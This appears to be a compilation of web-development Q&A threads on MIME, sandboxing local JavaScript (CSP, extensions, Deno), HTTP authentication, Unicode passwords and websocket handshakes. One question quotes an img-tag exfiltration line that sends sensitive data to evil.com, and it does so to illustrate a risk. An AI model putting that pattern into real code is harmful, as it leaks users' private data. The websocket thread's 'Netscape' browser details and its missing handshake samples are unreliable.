The title says everything.
I would like to ask if there's any place on the internet where i can consult the other "candidates" to MIME protocol.
Thanks in advance.
MIME isn't a protocol, it's really just a format specification.
That said, there are no alternatives for use with SMTP. There are also no open specification alternatives, either (there are proprietary alternatives, but they aren't what the general internet uses - for example, Exchange can/used to(?) use a SOAP-based protocol, GroupWise had its own custom protocol as well, and I'm sure so did Lotus Notes... but they all also support MIME, SMTP, POP3 and IMAP).
Also there's no website that I know of that lists them.
Related
The background scenario is that I want to give my users a javascript which they can use to analyze their sensitive private data, and I want them to feel safe that this data will not be sent to internet.
Initially, I thought I'll just distribute it as an .html file with embeded <script>, and that they'll just run this .html file in browser over file:/// protocol, which gives some nice same-origin policy defaults.
But, this won't really offer much security to my users: a javascript could easily create an <img src="https://evil.com?sensitive-data=${XYZ}"> tag which would send a GET request to evil.com, despite evil.com being a different origin, because by design embeding of images from different origins is allowed.
Is there some practical way in which I could distribute my javascript and/or for the end user to run such script, so they could be reasonably sure it can't send the data over the internet?
(unpluging the machine from the internet, installing VM, or manipulating firewall settings, are not practical)
(reasonably sure=assumming that the software such us browser they use follows the spec and wasn't hacked)?
Please take a look at Content-Security-Policy subject.
https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/img-src
Supplementing your html by <meta http-equiv="Content-Security-Policy" content="img-src 'self';"> should disallow browser to make requests to foreign resources.
The alternative attempt could be developing your project in the form of a browser extension, where you can set up content security policy quite precisely, including defines of inline scripting, executing string-to-js methods, frames and fonts origin, and so on ( https://developer.chrome.com/docs/apps/contentSecurityPolicy/ )
As a bonus you (and your users) get a free of charge code review from the security departments of the browsers vendors.
Setting up browser proxy in settings to localhost:DUMMY_PORT looks like safe solution for this case.
Deno is, to cite its website:
Deno is a simple, modern and secure runtime for JavaScript and TypeScript that uses V8 and is built in Rust.
Secure by default. No file, network, or environment access, unless explicitly enabled.
So, this reduces the trust of the user to the trust in deno (and to chocolatey if they want to use choco install deno to install deno).
My site uses HTTP authentication and I've learned it isn't very secure and it causes a lot of problems for many browsers, and not all browsers may support it, so I want to use an alternative that is secure and more widely supported; what are some alternatives?
Is it possible to lock all directories using an HTML login page?
My site uses HTTP authentication and I've learned it isn't very secure
That's false... unless you're referring to something like basic auth over an insecure channel. In that case, anything over the insecure channel has potential issues. (Even if you did some client-side encryption hackery, you still have the problem that the remote host is not verified without the TLS or SSL layer.)
Basic auth is fine in some cases, and not for others. It depends on what you're trying to do.
it causes a lot of problems for many browsers, and not all browsers may support it
Completely false. I've never seen a browser that didn't support basic auth and digest auth.
what are some alternatives?
This isn't possible to answer without a better understanding of your requirements. Two-factor auth with a DNA sample and a brainwave scan might be more secure but chances are that's not what you're looking for. Besides, you can't forget about the rest of your system and you've told us nothing about that.
Is it possible to lock all directories using an HTML login page?
Yes. How you do this depends on what you're running server-side, but yes it's completely possible and often done.
We are in 2013, and because i have found this comment, I've made a simple application where users can use a visual keyboard, and a font that supports unicode (deja vu) which i have modified using fontforge to make it smaller and let only caracters that users know (arabic, french, tifinagh (north Africa language)) to make it easy to send in on the network, so if users will make passwords using unicode then, the password will be hard to crack.
Does HTML5 go rid of that bug of Unicode and passwords?
The bug you're talking about affects HTTP basic authenication, in which the browser prompts for credentials and passes them as HTTP headers.
Your application does not use basic authentication; instead, it uses a <form> tag to POST login info to the server.
<form>s do support Unicode properly.
I'm currently trying to get a simple client \ server websocket demo up and running and I'm trying to use the C# Nugget project as my server. I can connect to the server through Netscape (v5.1.4) but not through Chrome (v18.0.1) and I've tracked the issue down to the client handshake.
Nugget expects the client handshake to be in the following format which is exactly how Netscape is sending it:
Chrome's client handshake on the other hand is looking like this:
I've highlighted the differences in the two requests that are causing the problem in Nugget server - the sec-websocket parameters.
I'm guessing that Netscape and Chromes implementation of the client handshake are based on different versions of the websocket specification. Has anyone got any more information on this? Is it OK to just add code to handle both types of handshake or is one deprecated?
Any insights welcome,
James
Resources: Understanding Websocket Client Handshakes
It looks like Netscape is speaking the older, deprecated, Hixie variant of the protocol. Safari also uses this. Chrome uses the more modern RFC 6455. You can expect all browsers to use RFC 6455 eventually.
Assuming you want to support as many client types as possible, its okay (indeed correct) to add code to handle both variants. Note that the data framing for post-handshake reads/writes also changes depending on the protocol variant being used.
I was reading through the specification and many examples about usage of websockets. Almost all of them talk about UTF-8 or ascii message transfer using websockets.
The latest Hybi websocket spec requested support for binary transfer. REQ 6 in hybi spec
Also i read somewhere that chrome supports hybi. But latest release Chrome 7.0 works only when draft-hixie is selected in pywebsocket config.
Does any browser have support for hybi spec? Even if it is dev, its ok.
It may be a while before non-UTF-8 (i.e. binary) encoding is supported in WebSockets.
I suggest using base64 encode/decode on the client and server. All browsers with WebSockets support have window.atob (base64 decode) and window.btoa (base64 encode). Most languages you might write a WebSockets server in have base64 libraries (i.e. base64 module in python).
If you are wanting to transfer binary data you might be interesting in wsproxy included with noVNC which is a web based VNC client. wsproxy (there is a C and python version) is a WebSockets to generic TCP sockets proxy. It base64 encodes/decodes all traffic to/from the browser. You can use it to connect from a WebSockets capable browser to any type of TCP port.
Note, noVNC has a Javascript implementation of base64 encode/decode because belief it or not, the Javascript version is slightly faster than atob/btoa.
Disclaimer: I created noVNC.